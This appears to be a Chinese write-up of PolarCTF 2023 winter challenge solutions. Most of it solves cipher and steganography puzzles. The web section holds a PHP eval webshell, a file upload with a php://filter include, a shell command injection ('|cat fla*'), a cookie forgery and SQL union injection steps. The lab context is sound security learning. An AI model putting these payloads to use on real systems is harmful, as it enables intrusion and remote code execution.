PolarCTF-2023冬季个人挑战赛 WP

Crypto

数星星

题目

小明暗恋小红很久了,终于在一个月黑风高的夜晚,决定约她出去数星星。小明数着数着,数出了一串数字,3,6,10,12,15,他觉得这是爱情的关键,思考了整整一晚上,小红很生气,给了他一巴掌。小明觉得就是这串数字让他失去了爱情,你还等什么呢,快来一起数数吧!
得到的结果md5 32位小写加密一下哟!
tonightsuccessfavoritefavoritewewesuccesstonightweexamplecryptoshouldweistonightisexamplelearnwesublimlearniswordshouldwelearnfoundsublimsystemexamplesublimfoundlearnshouldmorningsublimsystemyourlearnwordcryptomorningexamplefavoritetonightlearntonightlearntonightsublimwhichyourmorningfoundtonightwewhichfoundfavoritewordcryptomorningwordislearntonightlearnsublimtonightlearnfoundwhichfoundsuccesstonightsuccessyourfoundmorningtonightwordshouldsublimwhichtonightwhichislearnexamplefavoriteexamplefoundsystemsuccesssublimsuccessshouldtonightcryptowelearncryptofoundshouldsublimsublimwewhichtonightsuccessshouldwhichwordwhichcryptoyourisshouldwhichsystemsuccesssystemwhichfoundwhichlearnexampletonightfavoritemorningyourtonightlearnmorningtonightfoundfoundsuccessfavoritesystemwhichlearnexampleisshouldcryptocryptosublimweexampletonightwordshouldwordmorningislearntonightsystemsuccesssuccessismorningfavoriteyourfoundfoundtonightmorningwhichwhichwordfoundislearnwhichwhichshouldwordsystemfoundyourlearnlearnsystemfavoritetonightwordshouldlearnyourisweyourfavoriteshouldwordwefoundsystemwecryptocryptowewordissystemwhichshouldtonightsystemfavoritemorningsystemwewhichmorningfoundsuccessyourtonightsuccesstonightisshouldwewhichwordwesystemyourfavoritesystemwordlearnexamplelearnfoundlearnfavoriteexamplesystemwordcryptocryptolearnsystemwordcryptowhichlearnexamplemorningmorningwewhichwhichsuccessexampleyourwordisfavoritesublimwhichissuccessiswordsublimexamplesystemwordexamplecryptolearnyourexamplelearnsystemyoursuccesswhichwhichsuccesswordyourislearnsuccessiswordsublimshouldweisexamplesuccesssuccesstonightweyourshouldsuccessmorningcryptomorningfoundissublimshouldwhichshouldfavoritesuccessmorningsuccessexamplelearnshouldsublimlearntonightshouldyourissublimlearncryptosuccesswhichfavoritetonightmorningtonightwesuccessweyourisexamplewesystemfavoritemorningsystemmorningcryptolearnsystemwordwordfoundcryptoyourlearnyoursystemwemorningwhichexampleshouldlearncryptofoundwhichislearnwhichwhichisshouldiswordshouldwordsystemshouldshouldsuccessmorningwordfoundsystemwhichsystemtonightcryptowelearnexampleexamplesystemwhichisshouldwordwhichsublimtonightfoundfoundsuccesssuccesssystemsublimcryptoshouldwhichsublimmorninglearnfoundtonightcryptoissuccesscryptoweisfoundshouldfavoriteshouldmorningfavoritesystemcryptosystemlearnsystemfavoritemorningsystemwhichwemorninglearnsuccessfoundwesuccesswewordyourcryptoyourfavoriteissuccessshouldtonightmorningwhichmorningyourwhichfavoritefoundmorningwetonightsystemwordcryptotonightcryptosystemyourwordfoundexampletonightyoursystemcryptosublimmorningyourwordfoundisshouldsuccesscryptotonightsystemfavoriteisyourshouldwhichwordcryptomorningwesublimfavoritesuccessfavoriteyoursuccesstonightlearnweyourwhichfoundyourexampleshouldshouldtonightwelearnwordfavoritewordwefoundmorningexampleshouldexamplewordsuccessfavoritewhichfoundwordcryptofavoriteyourlearnyourwewhichfoundmorningsystemweexamplefavoritewordisexamplesublimwordyourmorningtonightwordsuccesscryptosuccessyoursuccesstonighttonightwelearnwhichwhichwordmorningwhichsystemcryptoismorningsystemexamplecryptoyourexamplelearnsublimsuccessyoursystemfoundmorningshouldcryptotonightsublimwordexamplemorningsystemyourexampleweexamplefavoritesuccesssublimfavoritecryptoshouldisshouldwordtonightfoundsublimisistonightshouldissuccesstonightissuccessmorningsystemcryptoiswhichtonighttonightfavoritelearnshouldyourfoundexamplesystemwordsuccessweyourtonightcryptoyourfavoritewhichfavoriteisyoursystemfoundyourfavoriteshouldlearnyourfoundexampleyourmorningshouldsuccessmorningmorningexampleexamplefoundsublimfoundwhichisfavoritelearnfoundmorningcryptofavoritecryptoshouldweshouldtonightcryptoissublimcryptosublimwhichwhichsublimwhichcryptofavoritewordwordsublimexamplewhichwhichshouldlearncryptowhichshouldmorninglearnfavoriteyourexamplesublimtonightshouldfoundtonightsuccessshouldmorningfoundwordweyourlearnsublimsystemiscryptowordyourtonightcryptosublimmorningmorningexamplefavoritewordwhichlearnshouldmorningsublimfoundtonightsublimsublimexamplefoundyourexamplewordfoundwemorningfavoritefoundcryptosuccesssublimsublimexamplewordsuccessexamplefavoritesuccessissublimlearnyourexamplesuccesssuccesssystemsuccessmorningmorninglearnexamplemorningtonightfoundiswhichfavoritemorningwhichsuccessmorningyourmorningislearncryptowhichyourwhichyourwordtonighttonightsuccesslearnwhichfoundsuccesssystemfoundiswhichlearnsystemsublimcryptowhichmorningwetonightshouldlearnwhichfoundcryptofavoritelearnlearnshouldfoundsuccessexampletonightwordsuccessfoundyourtonightwhichfoundsuccessshouldmorningyourfavoritemorningsystemsystemsuccessshouldwelearnwhichfoundexamplewewordfoundweshouldsystemsystemmorningmorningisshouldwhichsublimwhichtonightsuccesssystemsystemcryptoyourshouldsublimfoundwetonightfavoriteexamplewewesuccessfoundyourtonightfoundsystemexamplecryptofoundshouldshouldsuccesswhichisexampletonightwordlearnfavoriteyourlearnsystemsublimfoundlearnsuccesssystemshouldsublimfavoritelearnsystemfavoritetonightexamplefoundyourfavoritewhichlearnfavoritecryptoyoursystemmorningwordwesystemfoundfoundshouldsystemwhichwhichissystemsublimcryptoyourmorninglearnlearntonightsublimlearnwhichwhichissystemyouryourcryptowhichshouldwordyoursublimfavoriteexamplemorningexamplesublimsublimissystemexampleshouldsublimlearnfoundwhichislearnmorningmorningfoundwordtonightmorningfavoritewhichlearnyoursystemtonightisexamplelearntonightisweshouldcryptosuccessisexamplesuccesswordshouldmorningyourislearnwordwordshouldcryptocryptotonightiscryptocryptoisisfavoriteyourtonightwhichmorningfoundwewhichexamplewhichfoundyoursublimsystemwordexampleexamplesystemsuccessyoursublimwhichmorningissystemfoundlearnsystemshouldsublimsublimwhichshouldwordyourshouldexampleexampleshouldsuccesswelearnfoundsublimshouldyourwewhichtonightwefavoritesublimsystemlearnshouldfoundsuccessyourwhichsuccessmorningcryptowhichyourfoundexampletonightlearnexampleexamplefoundlearnsuccesssystemiscryptofavoritewordfoundislearncryptowordlearnlearnexamplesuccessfavoritefavoritesystemmorningcryptotonightfavoritefavoritewhichsuccesscryptowhichissublimexamplewhichfoundtonightcryptotonightsublimfavoritesuccesssublimwordwhichtonightwordshouldwordfoundsystemtonightyourissuccessshouldweisfavoriteisisfavoritewecryptoisisyourtonightlearnsuccessmorningyourtonightsuccessshouldiscryptowhichwhichshouldsublimsystemexamplemorningcryptofavoritewordsuccesswordisfavoritelearnsublimlearnsuccesscryptowordsuccesswhichfavoritecryptosystemsublimsuccessweisyourwhichlearnyourwewemorningsuccesslearncryptoiswecryptosystemlearnwhichwhichyourexamplefoundsystemcryptoyourfavoritefoundyoursublimiswesublimfavoritemorningshouldexamplefavoritecryptoshouldtonightmorningwordfoundsystemwhichwhichsystemwordcryptoissublimlearnsuccessmorningsublimsystemcryptoyoursublimwesuccessmorningsublimiscryptoissublimwordlearnsuccesssublimlearncryptoweweexamplecryptowefavoritelearnfoundissystemsystemexampleshouldlearnsuccesssublimcryptoistonightismorningmorningfavoriteshouldfavoritefoundwordwordshouldwordshouldfoundfoundcryptosuccessissuccessshouldwewhichfavoriteweweshouldmorningfoundyoursuccessiswefavoriteyoursuccesswhichwhichexamplelearnfoundwetonightyourcryptowordsublimsublimtonightsuccesslearnistonightwhichtonightwordsublimfavoritewefoundcryptoiswhichwhichlearnlearntonightexamplesystemwhichsublimfavoritecryptoshouldyouryourisyourwesublimmorningwesystemshouldtonightwordyourshouldfavoritefoundyourfavoritewhichsublimwewordwefoundfoundlearnfoundwecryptosystemexamplemorningcryptocryptosublimwordexamplefavoritefoundlearnwelearnmorningwordwhichwordsystemsublimtonightsuccesssystemlearnshouldwhichiswhichsuccesssuccessisexamplefavoritewhichshouldsublimlearniswordshouldexamplelearnsystemyoursublimisissuccesswelearntonightexamplewecryptowhichwesystemsystemsublimexamplecryptolearnmorningsublimfoundsublimfoundisfoundtonighttonightfavoritesuccesssuccessexampleyoursuccesstonightsublimcryptosystemwewhichexamplesystemwordwordfavoritesublimtonightisfavoritesystemexamplewordsuccesstonightmorningsuccesstonightwefavoritesublimtonightwelearntonightmorningsublimiswhichwordtonightwhichwecryptofoundwordwhichfavoriteissuccesswesystemyourexampleiswhichsuccesstonightsublimwemorningsuccesssuccesswesublimsuccessfavoritesublimfoundlearnlearnweexamplecryptofavoritelearnweyourshouldyourfoundcryptolearnfoundmorningtonightmorningmorningfavoritewecryptowewesuccessfoundsublimweyourwhichshouldshouldshouldsublimistonightwhichwesublimsuccessshouldfoundwordwordtonightwecryptowewhichfoundcryptoshouldcryptoyouryourfoundwhichsublimsublimwordlearnwordshouldfavoriteisfoundsuccessshouldtonightwhichmorningsystemmorningtonightwefavoritelearnisexampleyourshouldfavoritesublimsublimexamplewordsuccessfavoritesystemmorningfavoritecryptosystemsublimcryptosystemsuccessshouldmorningisshouldmorninglearnfavoritefavoriteshouldwordwewesublimsublimfavoriteyoursuccesswhichsystemfoundshouldshouldcryptoisyourmorningsystemshouldshouldtonightwesublimyourfoundlearniswordtonightmorningexampleyourwordfoundisshouldtonightcryptocryptofoundyourexamplefavoritecryptoyourfavoritewordfavoriteshouldweshouldfoundwemorningcryptosuccesslearnfoundtonightsublimfavoritefavoritewefoundwewesuccesssublimsublimcryptoweexampletonightsuccessfoundshouldsuccesstonightissystemshouldwesystemfavoriteisyoursystemiswefavoritelearnfavoritefavoritesuccesslearntonightyourlearnsuccessissuccesswesystemyourcryptofavoritewordsystemyourfavoritewewordsuccessweshouldfoundshouldcryptomorningtonightwewordwesuccesslearnwordshouldweexampletonightsuccessfavoritefavoritemorningfoundmorningfoundyoursublimsystemsuccessissuccessmorningyourwordfoundweexamplemorningsublimlearnfoundfoundfavoritemorningshouldweyourwemorningexamplesuccesssuccessfoundwordwordshouldweyourshouldwordshouldexamplefavoritefoundsuccesssystemfoundshouldsublimistonightshouldsystemtonightsuccesslearntonightsystemsublimsuccesscryptoissystemsublimmorningmorningshouldmorninglearnsuccesslearnmorningyourmorninglearnexamplecryptoshouldissublimshouldfoundissystemsystemweexamplesystemtonightsublimmorningmorningyourfoundcryptolearnisshouldisfavoritesublimfoundwordcryptoyourshouldsuccesssystemsuccessshouldsystemissublimshouldsublimsystemisexampleshouldissublimfavoritelearnsublimyourisyoursublimsuccesssublimyouryourfavoriteshouldsuccessfavoritefavoritelearnexamplesystemweexamplesublimisiscryptoshouldyourcryptosublimissublimshouldsystemfavoritefavoritewordsuccesssuccesslearnsystemsublimwefavoritelearnyoursublimsystemyourfavoriteyourwordsuccesslearnwelearnwefavoritecryptolearncryptofavoritefavoriteiscryptowordcryptoyourcryptoissuccesslearnwordsystemsuccesswordsystemsystemcryptosuccessissublimlearnsublimcryptoislearnsublimyoursublimexamplecryptosublimsystemfavoritecryptocryptoyourwordyourfavoriteisfavoritefavoritewordcryptocryptosystemissublimiscryptocryptoissystemyourwordfavoritesystemsystemsystemyourfavoritewordcryptoyouryoursystemwordyourcryptoexamplefavoritecryptoexamplefavoritewordexampleexamplewordcryptowordyourfavoritewordexampleexamplecryptowordexampleexamplewordfavoritewordcryptocryptoexamplewordexamplecryptocryptowordfavoriteexamplecryptofavoritewordexampleexampleexamplecryptocryptoexampleexamplewordfavoritewordcryptowordwordwordwordwordwordexampleexamplewordwordexamplewordexamplewordexampleexampleexampleexampleexampleexampleexampleexampleexampleexampleexampleexampleexampleexampleexampleexampleexampleexampleexample

我的解答:

思路:分析每个单词出现的频率进行排序,然后对应数星星的数字3,6,10,12,15.找出对应的单词组合起来就是答案。做法如下:

看到了一大串英文单词组成的集合,我们词频分析一下,获取每个单词出现的频率。

这里手动在txt文本里操作即可,我的操作是使用txt替换功能,每找出一个单词可以替换成“.”这样一来不容易找漏,一直到最后可以很清晰看到哪些单词还没找到。

找到后对应写脚本即可:

# -*- coding:utf-8 -*-
# Author: 小琪呀!

f=open("1.txt",'r')
data=f.read()

statistics={}
frequency=[]
num=[3,6,10,12,15]
def zipin(lsit):
    for i in lsit:
        statistics.setdefault(data.count(i),str(i))
        frequency.append(data.count(i))
    frequency.sort()
    for i in num:
        print(''.join(statistics.get(frequency[i-1])),end='')
    print('\n')
    return(statistics)
#下面letters里是附件里的所有出现的单词。
if __name__ == '__main__':
    letters=["tonight","success","favorite","example","should","crypto","is","learn","found","morning","we","system","sublim","your","which","word"]
    print(zipin(letters))

#看到密文全是一些单词的重复,所以想到词频统计,
# 首先获取每个单词出现的频率,然后按序排列,
# 最后将排在3,6,10,12,15的单词进行拼接即可。

#whichisyourfavoriteword
#{117: 'tonight', 138: 'success', 136: 'favorite', 139: 'example', 131: 'should', 141: 'crypto', 129: 'is', 134: 'learn', 125: 'found', 113: 'morning', 124: 'we', 130: 'system', 132: 'sublim', 133: 'your', 120: 'which', 140: 'word'}

最后记得MD5

神秘组织M

题目

这个组织是由5个人创建起来的!!!

{bc1bg572ec066}a0d2fb137l951b5451f06b7

我的解答:

这个题很有意思算是花费时间最久的了。。。

思路:看到数字5?凯撒/栅栏?做法如下:

首先我们使用凯撒/栅栏解码会发现都直接得不出来flag?那么问题来了,第一步肯定要做些什么。

尝试使用rot13试试

再使用凯撒/栅栏?发现使用栅栏可得到flag形式的结果了(这里偏移量是5,4个一组,4是试出来的!):

然后再用一遍rot13(不知道为什么的话,可以使用随波逐流直接解,我就是用随波逐流才发现的是rot13!)

不一样的四四方方

题目

最后md5小写加密套上flag{}

请开始你的表演(密文):jilinjingcha

注意:正确的密钥后面最后一个字母不要!!!
key1:information
key2:engineering

我的解答:

题目两个key都给了,但我们需要做下处理。

首先,去除重复字母并补齐key得到如下矩阵图(正常来说p和q的话只要一个p就行):

但提示说正确的密钥最后一个字母不要,那么就把z去掉,成为了

但发现矩阵不对称了,需要长度为25,这时我们需要把q补回去。也就变成了

然后根据密文 jilinjingcha 进行拆分两两一组:ji li nj in gc ha

解密的话是这样:j和i链接寻找剩下的角然后组成矩阵,如下图:得到明文bf,就这样依次寻找剩下的进行解密就行了

加密的话是这样(正好相反):j和i链接寻找剩下的角然后组成矩阵,如下图:得到密文ne,就这样依次寻找剩下的进行加密就行了

手动解密或者在线工具http://www.metools.info/code/four-square244.html

因此本题按照上述方式进行解密会得到想要的明文,然后md5加密提交发现不对,那么问题来了?为什么不对呢?思路没问题啊?

逆向思维试试对密文进行加密

再MD5加密

然后提交就对了。。。真的很抽象哎!

我爱456

题目

有一个程序员认为456是他的幸运数字,所以干什么都喜欢循环456。得到答案后MD5加密套上flag{}即可

kseYvkasuj5618t
lygemfla235158jd
utasvQsjdybl587t
sydwkuhd54kdhg
jtftY658qiwudhs
iaugwjiushyc871
aksQbhasbkjcbkjd
dvbpzd8v26dfv6f
s6dvdNf6v52v6x
65dT26f5d1b6f5v
35f2Y6d65bbfv5
35dfv32d8bfv256d
kdhzvnhdkjzldkj
sdhjTujsdbch268
sdr26Iksds265dsv
jnm2dsnsdv26865

我的解答:

根据题目意思找关键信息,循环456

也就是说对下面的密文字符串依次寻找第四位,第五位,第六位的字母,然后组合起来。

得到:YmQwYjQzNTY3zTI2

base64解码得到:bd0b43567Ͳ6

再MD5加密即可。

flag{23edc0cd2489d4640da853e5fddf3157}

AFF

题目

得到的结果大写再提交flag

flag = "WMPTPTRGGPED"
 
flaglist = []
 
for i in flag:
    flaglist.append(ord(i)-97)
 
flags = ""
for i in flaglist:
    for j in range(0,26):
        c = (3 * j - 17) % 26
        if(c == i):
            flags += chr(j+97)


print(a,b,flag)

我的解答:

思路:看到题目名知道是仿射,主要是找对应方程的a,b

观察代码得知对应的a,b分别是3,17

然后结果大写

base

题目

j2rXjx8wSZjD
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789=+/

我的解答:

典型的base64换表,这里并不缺字符,因此cyber直接梭就行。哎!这道题500分可惜了!不该这么高的。

Misc

签到喵

题目

小明养了一只可爱的猫咪并给它起名叫小美,有一天小美突然站立了起来,并说出以下这段喵语:
~呜喵喵喵喵呜啊喵啊~呜喵呜呜~呜啊~啊喵啊呜喵呜~~~喵~呜呜呜~~喵喵喵呜呜呜~呜呜喵呜呜啊喵呜啊啊喵啊呜~喵啊啊~喵~呜呜呜呜啊喵喵喵呜啊喵啊喵呜喵呜呜~喵喵喵啊喵啊呜喵呜喵~~喵~呜呜喵啊喵喵喵喵呜啊喵喵呜呜喵呜呜啊喵呜呜啊喵啊呜喵呜~喵~喵~呜呜呜喵喵喵喵喵呜呜喵喵呜呜喵呜呜~喵啊啊啊喵啊呜喵喵啊啊~喵~呜呜喵~喵喵喵喵呜呜喵喵啊呜喵呜呜~呜啊呜啊喵啊呜~喵啊啊~喵~呜呜喵啊~喵喵喵呜呜啊呜啊呜喵呜呜啊呜啊啊啊喵啊呜~啊呜喵~喵~呜喵呜~~喵喵喵呜呜啊~啊呜喵呜呜~呜啊呜啊喵啊呜~啊喵喵~喵~呜喵啊喵喵喵喵喵呜呜~喵~呜喵呜呜~喵啊~啊喵啊呜~喵啊喵~喵~呜呜呜喵呜喵喵喵呜啊喵啊喵呜喵呜呜啊呜~呜啊喵啊呜喵呜呜呜~喵~呜喵呜啊喵喵喵喵呜呜呜呜啊呜喵呜呜~喵喵喵啊喵啊呜~啊喵啊啊
小明感到十分诧异,他觉得这是小美在告诉他什么隐藏的信息,请你帮助小明翻译小美说了什么,并根据生成文件得到答案
import qrcode
import base64

message = '6K+35Y+R6YCB4oCc5a6d5a6d5oOz6KaBZmxhZ+KAnQ=='
print(base64.b64decode(message).decode())

qr = qrcode.QRCode(
    version=1,
    error_correction=qrcode.constants.ERROR_CORRECT_H,
    box_size=10,
    border=4,
)
qr.add_data('')#放入小美说的话
qr.make(fit=True)

img = qr.make_image(fill='black',back_color='white')
img.save('qrcode.png')

我的解答:

题目代码太明显了“放入小美说的话”会生成一个二维码,直接跑即可

import qrcode
import base64

message = '6K+35Y+R6YCB4oCc5a6d5a6d5oOz6KaBZmxhZ+KAnQ=='
print(base64.b64decode(message).decode())

qr = qrcode.QRCode(
    version=1,
    error_correction=qrcode.constants.ERROR_CORRECT_H,
    box_size=10,
    border=4,
)
qr.add_data('~呜喵喵喵喵呜啊喵啊~呜喵呜呜~呜啊~啊喵啊呜喵呜~~~喵~呜呜呜~~喵喵喵呜呜呜~呜呜喵呜呜啊喵呜啊啊喵啊呜~喵啊啊~喵~呜呜呜呜啊喵喵喵呜啊喵啊喵呜喵呜呜~喵喵喵啊喵啊呜喵呜喵~~喵~呜呜喵啊喵喵喵喵呜啊喵喵呜呜喵呜呜啊喵呜呜啊喵啊呜喵呜~喵~喵~呜呜呜喵喵喵喵喵呜呜喵喵呜呜喵呜呜~喵啊啊啊喵啊呜喵喵啊啊~喵~呜呜喵~喵喵喵喵呜呜喵喵啊呜喵呜呜~呜啊呜啊喵啊呜~喵啊啊~喵~呜呜喵啊~喵喵喵呜呜啊呜啊呜喵呜呜啊呜啊啊啊喵啊呜~啊呜喵~喵~呜喵呜~~喵喵喵呜呜啊~啊呜喵呜呜~呜啊呜啊喵啊呜~啊喵喵~喵~呜喵啊喵喵喵喵喵呜呜~喵~呜喵呜呜~喵啊~啊喵啊呜~喵啊喵~喵~呜呜呜喵呜喵喵喵呜啊喵啊喵呜喵呜呜啊呜~呜啊喵啊呜喵呜呜呜~喵~呜喵呜啊喵喵喵喵呜呜呜呜啊呜喵呜呜~喵喵喵啊喵啊呜~啊喵啊啊')#放入小美说的话
qr.make(fit=True)

img = qr.make_image(fill='black',back_color='white')
img.save('qrcode.png')

得到二维码

哎!不对不对,抱歉,艹这是加密脚本,看错了,这个码扫完就是原本的喵啊喵。。。

但我们跑脚本还得到了一个信息:请发送“宝宝想要flag”

关注公众号发送此话,拿flag即可

宝宝请拿flag:flag{www.PolarCTF.com}

A 宽宽 S 00 E

题目

(​​​​‎‍​​​​​‍​​​​​​‍‏​​​​​‏‎​​​​​‏​​​​​​‍‏‌​​​​‎‍‌​​​​‏‌‍​​​​‎‍‎​​​​‌‏‏​​​​‍‌‍​​​​‏​​​​​​‍‌​​​​​‎‌‏​​​​‎‌​​​​​‎​‏​​​​‏‍‎​​​​‏​‌​​​​‎​​​​​​‌‎‎​​​​‏‏‌​​​​‎​‌​​​​‍​​​​​​‎‏‎​​​​‏‎‌​​​​‏‏‌​​​​‏‏​​​​​‍​​​​​​‏​‎​​​​‏‎‌​​​​‍​‍​​​​‏‌‎​​​​‏‍‍​​​​‍​​​​​​‍‎‏​​​​‏‍‏​​​​‏​‎​​​​‎​‎​​​​‏‎‏​​​​‎​‌​​​​‏‏‍​​​​‏‏‌​​​​‏‎‌​​​​‏‏‍​​​​‏​‌​​​​‏‎‏​​​​‍‌‍​​​​‎‍‍​​​​‏‎‍​​​​‍‌​​​​​‏‎‌​​​​‎‏‏​​​​‎‍‌​​​​‏‎‎​​​​‏‎​​​​​‎‌‍​​​​‍​‍​​​​‏‎‌​​​​‏‍‎​​​​‎‍‍​​​​‏‏‍​​​​‍‏‌​​​​‍‏​​​​​‏‌​​​​​‌‌‍​​​​‍‌​​​​​‍‌​​​​​‍​​​​​​‍‎‌​​​​‍​‏​​​​‏​‌​​​​‏‎‌​​​​‎​‌​​​​‎‏‏​​​​‏‌‎​​​​‏​‌​​​​‏‌‌​​​​‍‎‌​​​​‎‍​​​​​‏‎​​​​​‎‌‎​​​​‏‎‏​​​​‏‎‎​​​​‌‏‍​​​​‏​‏​​​​‏‌‏​​​​‏​‎​​​​‍‍‌​​​​‍‍‌一)判断是否存在注入 and 1=1、and 1=2等等  (二)判断字段数 order by 2  (三)判断显错位 union select 1,2  (四)判断库名 and 1=2 union select 1,database()  (五)判断表名 and 1=2 union select 1,table_name from information_schema.tables where table_schema =’maoshe’  (六)判断列名 and 1=2 union select 1,column_name from information_schema.columns where table_name =’admin’ limit 2,1  (七)寻找具体数据 and 1=2 union select 1,password from admin

我的解答:

考点:零宽隐写

kali使用vim 1.txt建一个文本文件,把附件信息粘贴进去。

发现是零宽隐写,虚拟机查看的目的是确认都有哪些种类,因为在线工具解码时需要勾选种类。

在线工具解码即可,勾选信息如下图:

得到

U2FsdGVkX19d7TPOqeK+yL2btyx2gt4lp2ErgNwLzytzew9Wu7tcVvsR4tqWzGFi 772B6etLclejBUsSwv/hmg==

根据题目字母可知是AES加密,但解码需要密码。密码在哪?根据文本信息发现与SQL有关,因此密码就是sql

base64解码

b337e84de8752b27eda3a12363109e80

flag{b337e84de8752b27eda3a12363109e80}

机密

题目

我的解答:

题目给了流量包,分析一下

追踪TCP流发现

看到有个压缩包,kali提取出来进行爆破,选择爆破数字,得到密码

flag{d72e5a671aa50fa5f400e5d10eedeaa5}

是uu吗

题目

密码.txt

&,3(S-#4V

还有一个wav文件。

我的解答:

根据题目名字UU,UUencode解码得到wav密码。

然后steghide解码

steghide extract -sf noon-close-to-you.wav

得到

>9FQA9WLV-S$S-S@Y-#8P,C,V-#@W-S@S,C0V.#E]

再次UU解码

flag{671378946023648778324689}

社会主义大法好

题目

一张jpg,一个加密压缩包

我的解答:

重命名jpg打开

看到里面关键数字1945,2014

尝试发现1945是压缩包密码,解压得到

平等平等和谐文明自由公正法治和谐公正自由自由法治平等公正公正诚信民主平等爱国和谐民主和谐爱国公正爱国平等爱国平等自由自由平等公正自由公正诚信和谐公正民主自由爱国公正友善公正自由诚信民主和谐敬业平等法治公正民主和谐富强自由诚信富强法治平等自由诚信富强法治平等和谐自由平等平等自由民主法治富强公正友善平等自由诚信和谐法治诚信富强自由诚信和谐公正平等和谐公正和谐敬业法治爱国平等爱国公正法治和谐爱国法治敬业自由文明自由友善平等和谐富强自由公正法治法治和谐平等法治民主和谐自由自由爱国法治自由平等民主和谐平等文明友善平等法治民主自由诚信民主和谐公正自由文明自由和谐自由文明富强友善自由文明友善平等平等法治公正诚信民主自由爱国平等民主自由自由公正敬业自由敬业法治爱国公正友善平等法治和谐和谐友善法治

社会主义解码

U2FsdGVkX18hXTEdmaHlK9Wa0JuJu4UApkMzMe69xXg8yBK0Fw5q4HtQ5+qK6BCB
+WkHQDiIxks=

兔子流解码,密码是2014

flag{Hold_high_the_banner_of_socialism}

EZ签到

题目

提示文件给了:

然后还有一个加密的flag压缩包

我的解答:

010打开图片发现头部信息。百度搜索一下看看什么意思。

搜索发现跟F5隐写有关。。但F5是需要密码的。来找找吧!

说实话这题挺抽象的,找了很久翻遍了文件,尝试了各种方法都没发现密码。后来仔细分析了题目名

才尝试使用"签到"和"EZ"相关的信息来猜测密码。发现密码是qiandao,就说你无语不无语吧!呜呜呜。。使用指令:

java -mx40M Extract f1ag.jpg -p qiandao

得到

nizhenbuhuiyiweizheshiqiandaoba

解压得到100个图片

一眼丁真拼图。先计算一哈!那么问题来了,仔细观察发现,这里面的图片并不是分辨率都相同的

分辨率40x40占比率大,因此我们需要把分辨率都改为40x40的。PS修一下:

1、随便打开一张图片,比如第一张

2、选择窗口-动作-创建新动作-命名并记录

然后点击图像-图像大小-修改成40x40

修改完成点击停止记录,这一动作就被记录了。

接着进行批处理,点击文件-自动-批处理

动作就选择我们之前记录的那个命名的动作,文件夹选择附件的,然后点击确定等待修改即可。

处理完后,我们可以点击上方信息看看对不对

完整无误后就可以拼图了。退出PS时记得保存。再回到文件夹发现完成了。

kali中使用指令

montage *.jpg -tile 10x10 -geometry +0+0 flag.jpg 

得到

 

然后会发现此图的大小是800x800,我们需要改成400x400。ps即可。

然后使用工具拼图即可:点击文件-新增,然后脚本-自动拼接(gaps)

 

R1kzRE1RWldHRTNET04yQ0dRMlRNTUpYSUUzVFNOS0dHVVpUTU9KV0c0M0VLTktHR1E0VE1SSlhJUT09PT09PQ==

base64-32-hex解码

 

WEB

cookie欺骗

题目

我的解答:

Bp抓包改cook :user=admin

upload

题目

我的解答:

构造payload

然后上传

蚁剑连接找到flag

cool

题目

 <?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?>

我的解答:

首先,它检查 $a 是否为数值。如果是,则输出 "no"。那我们不让他为数字

然后绕过匹配条件,使他包含所提到的字符。最终可以得到payload:

干正则

题目

 <?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
} 

我的解答:

题目很简单,parse_str的作用就是起到变量覆盖。注意过滤的信息即可

构造payload为:

?id=a[0]=www.polarctf.com

覆盖成功后,传入cmd,使用|通过ip,使用fla*绕过正则。

?id=a[0]=www.polarctf.com&cmd=|cat fla*

然后控制台查看源码得到flag。

你的马呢?

题目

我的解答:

题目不让传一句话木马PHP,但可以传它的base64值

<?php eval($_POST['a']);?>

加密后

PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

把编码内容复制到txt文本再修改后缀名为jpg

然后上传提交

然后使用php伪协议读取jpg文件

index.php?file=php://filter/convert.base64-decode/resource=uploads/1.jpg

蚁剑连接找到flag

ezphp

题目

我的解答:

访问robots.txt

然后访问第一个地址

有个PHP,访问一下

 <?php
/*
PolarD&N CTF
*/
highlight_file('file.php');
$filename = $_GET['filename'];
@include $filename;
?> 

文件包含漏洞,但由于我们不知道flag位置所以不能读取。先放这里

看看其他文件,访问/uploads

进入php

文件上传,利用upload.php上传后缀为合法后缀的一句话木马,内容如下:

GIF89a
<?=eval($_POST['shell']);?>

然后访问images/发现已经存在了。

那么现在路径有了就可以利用第一个文件包含漏洞了,发送:

?filename=/var/www/uploads/images/1.jpg

看到回显说明包含成功了。接下来使用一句话木马进行操作

查看目录

发现flag所在。cat即可。

当然用蚁剑也可以。

苦海

题目

删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
} 

我的解答:

考察php反序列化。

